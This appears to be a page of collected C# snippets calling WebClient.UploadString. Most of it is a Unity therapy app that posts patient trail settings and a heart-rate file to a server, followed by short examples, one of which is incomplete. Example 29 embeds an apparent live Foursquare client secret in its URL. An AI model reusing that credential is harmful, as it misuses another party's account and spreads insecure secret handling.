        {
            xmldata.LoadXML(mainFilePath);
            //Debug.Log("I actually read it!");

            // since it's really working we can
            // create the JSON structure to send

            JSONObject nested_fields_lvl1 = new JSONObject(JSONObject.Type.OBJECT);

            nested_fields_lvl1.AddField("patient_id", TrailPreferences.patientID);
            nested_fields_lvl1.AddField("time_to_live", TrailPreferences.trailsTimeToLive);
            nested_fields_lvl1.AddField("typology", TrailPreferences.trailsType.ToString());
            nested_fields_lvl1.AddField("start_datetime", TrailPreferences.initTime);
            nested_fields_lvl1.AddField("end_datetime", TrailPreferences.endTime);
            nested_fields_lvl1.AddField("special_fx", TrailPreferences.trailsSpecialFX.ToString().ToLower());

            // I have to get all the doctors involved
            // and pick out the first since it is the logged one
            string list_of_doctors = string.Join(", ", TrailPreferences.doctorsIDs.Skip(1).ToArray());
            nested_fields_lvl1.AddField("other_doctors", "[" + list_of_doctors + "]");

            // ok, let's start with the big issues... trails colors
            nested_fields_lvl1.AddField("enabled_therapist_left", TrailPreferences.othersSX_trailsEnabled.ToString().ToLower());
            if (TrailPreferences.othersSX_trailsEnabled == true)
            {
                JSONObject nested_fields_lvl2TL = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2TL.AddField("d", TrailPreferences.trailsDimension);
                nested_fields_lvl2TL.AddField("a", TrailPreferences.othersSX_trailsColor.a.ToString());
                nested_fields_lvl2TL.AddField("r", TrailPreferences.othersSX_trailsColor.r.ToString());
                nested_fields_lvl2TL.AddField("g", TrailPreferences.othersSX_trailsColor.g.ToString());
                nested_fields_lvl2TL.AddField("b", TrailPreferences.othersSX_trailsColor.b.ToString());

                nested_fields_lvl1.AddField("therapist_left_trail_color", nested_fields_lvl2TL);
            }

            nested_fields_lvl1.AddField("enabled_therapist_right", TrailPreferences.othersDX_trailsEnabled.ToString().ToLower());
            if (TrailPreferences.othersDX_trailsEnabled == true)
            {
                JSONObject nested_fields_lvl2TR = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2TR.AddField("d", TrailPreferences.trailsDimension);
                nested_fields_lvl2TR.AddField("a", TrailPreferences.othersDX_trailsColor.a.ToString());
                nested_fields_lvl2TR.AddField("r", TrailPreferences.othersDX_trailsColor.r.ToString());
                nested_fields_lvl2TR.AddField("g", TrailPreferences.othersDX_trailsColor.g.ToString());
                nested_fields_lvl2TR.AddField("b", TrailPreferences.othersDX_trailsColor.b.ToString());

                nested_fields_lvl1.AddField("therapist_right_trail_color", nested_fields_lvl2TR);
            }

            nested_fields_lvl1.AddField("enabled_patient_left", TrailPreferences.patientSX_trailsEnabled.ToString().ToLower());
            if (TrailPreferences.patientSX_trailsEnabled == true)
            {
                JSONObject nested_fields_lvl2PL = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2PL.AddField("d", TrailPreferences.trailsDimension);
                nested_fields_lvl2PL.AddField("a", TrailPreferences.patientSX_trailsColor.a.ToString());
                nested_fields_lvl2PL.AddField("r", TrailPreferences.patientSX_trailsColor.r.ToString());
                nested_fields_lvl2PL.AddField("g", TrailPreferences.patientSX_trailsColor.g.ToString());
                nested_fields_lvl2PL.AddField("b", TrailPreferences.patientSX_trailsColor.b.ToString());

                nested_fields_lvl1.AddField("patient_left_trail_color", nested_fields_lvl2PL);
            }

            nested_fields_lvl1.AddField("enabled_patient_right", TrailPreferences.patientDX_trailsEnabled.ToString().ToLower());
            if (TrailPreferences.patientDX_trailsEnabled == true)
            {
                JSONObject nested_fields_lvl2PR = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2PR.AddField("d", TrailPreferences.trailsDimension);
                nested_fields_lvl2PR.AddField("a", TrailPreferences.patientDX_trailsColor.a.ToString());
                nested_fields_lvl2PR.AddField("r", TrailPreferences.patientDX_trailsColor.r.ToString());
                nested_fields_lvl2PR.AddField("g", TrailPreferences.patientDX_trailsColor.g.ToString());
                nested_fields_lvl2PR.AddField("b", TrailPreferences.patientDX_trailsColor.b.ToString());

                nested_fields_lvl1.AddField("patient_right_trail_color", nested_fields_lvl2PR);
            }

            if (TrailPreferences.colorFilterEnabled == true)
            {
                JSONObject nested_fields_lvl2CF = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2CF.AddField("a", TrailPreferences.colorFilterAlpha.ToString());
                nested_fields_lvl2CF.AddField("r", TrailPreferences.colorFilter.r.ToString());
                nested_fields_lvl2CF.AddField("g", TrailPreferences.colorFilter.g.ToString());
                nested_fields_lvl2CF.AddField("b", TrailPreferences.colorFilter.b.ToString());

                nested_fields_lvl1.AddField("color_filter", nested_fields_lvl2CF);
            }

            // now the part which is going to be a mess, about the backgrounds
            if (TrailPreferences.backgroundIsImage == false)
            {
                JSONObject nested_fields_lvl2BG = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2BG.AddField("a", TrailPreferences.backgroundColor.a.ToString());
                nested_fields_lvl2BG.AddField("r", TrailPreferences.backgroundColor.r.ToString());
                nested_fields_lvl2BG.AddField("g", TrailPreferences.backgroundColor.g.ToString());
                nested_fields_lvl2BG.AddField("b", TrailPreferences.backgroundColor.b.ToString());

                nested_fields_lvl1.AddField("background_color", nested_fields_lvl2BG);
            }
            else
            {
                string fullPath = Path.Combine(exercisePath, Path.GetFileName(TrailPreferences.backgroundTexturePath));

                byte[] bytes = File.ReadAllBytes(fullPath);

                string base64String = System.Convert.ToBase64String(bytes);
                // Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2BI = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2BI.AddField("filename", TrailPreferences.backgroundTexturePath);
                nested_fields_lvl2BI.AddField("content", base64String);
                nested_fields_lvl2BI.AddField("content_type", "image/jpeg");

                nested_fields_lvl1.AddField("background_image", nested_fields_lvl2BI);
            }

            if (1 == 1)
            {
                // I'm reading the heartbeats now
                string fullPathHB = Path.Combine(exercisePath, "heartRate.dat");
                Debug.Log("path dove cerca l'HB: " + fullPathHB);

                byte[] bytesHB = File.ReadAllBytes(fullPathHB);

                string base64StringHB = System.Convert.ToBase64String(bytesHB);
                // Debug.Log("codifica dell'immagine: " + base64String);

                JSONObject nested_fields_lvl2HB = new JSONObject(JSONObject.Type.OBJECT);
                nested_fields_lvl2HB.AddField("filename", "heartRate.dat");
                nested_fields_lvl2HB.AddField("content", base64StringHB);
                nested_fields_lvl2HB.AddField("content_type", "file/dat");

                nested_fields_lvl1.AddField("heartbeat_file", nested_fields_lvl2HB);
            }


            // finally, everything goes back into trail
            JSONObject root_trail = new JSONObject(JSONObject.Type.OBJECT);
            root_trail.AddField("trail", nested_fields_lvl1);

            string encodedString = root_trail.ToString();
            Debug.Log(encodedString);

            while (!allProper && retryCount > 0)
            {
                //the actual call, in a try catch
                try
                {
                    using (var client = new WebClient())
                    {
                        string token_string = "Token token=\"" + token + "\", email=\"" + login_email + "\"";
                        client.Headers[HttpRequestHeader.Authorization] = token_string;
                        client.Headers[HttpRequestHeader.ContentType] = "application/json";
                        result = client.UploadString(trails_url, "POST", encodedString);
                    }
                    allProper = true;
                }
                catch (WebException ex)
                {
                    retryCount--;

                    if (retryCount == 0)
                    {
                        Debug.Log("exception: " + ex);
                        var response = ex.Response as HttpWebResponse;
                        errorHandler = RestError.GenericPostTrailError;

                        if (response != null)
                        {
                            Debug.Log("HTTP Status Code: " + (int)response.StatusCode);
                            switch ((int)response.StatusCode)
                            {
                                case 500:
                                    errorHandler = RestError.ServerError;
                                    break;
                                default:
                                    break;
                            }
                        }

                        break;
                    }
                }
            }

        }
        else
        {
            errorHandler = RestError.XMLNotPresent;
        }

        yield return result;

        if (allProper)
        {
            errorHandler = RestError.AllGood;

            Debug.Log(result);
        }

    }
Example #28
0
 public string getData(String InputString)
 {
     using (WebClient webClient = new WebClient())
     {
         webClient.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
         result = webClient.UploadString(URI, myParameters);
     }
     return result;
 }
Example #29
-1
    public string getData()
    {
        string URI = "https://api.foursquare.com/v2/venues/search?client_id=DZQC0RRNMSJYGI3EGA4JEPM41BPIAPVBXWT2BBWWAJJSPU4H&client_secret=ZZ10QVMVYCRAJITX2RQDHHARZLCEVEYGYPV2CBA3S2BPHZ0D";
        string myParameters = "v=20130815&ll=40.7,-74&query=";

        using (WebClient webClient = new WebClient())
        {
            webClient.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
            HtmlResult = webClient.UploadString(URI, myParameters);
        }
        return HtmlResult;
    }
Example #30
-1
    public static void Main()
    {
        string data = "data";
        WebClient client = new WebClient();

        client.Encoding = System.Text.Encoding.UTF8;

        string reply = client.UploadString("http://www.wp.pl", data);

        Console.WriteLine(reply);

    }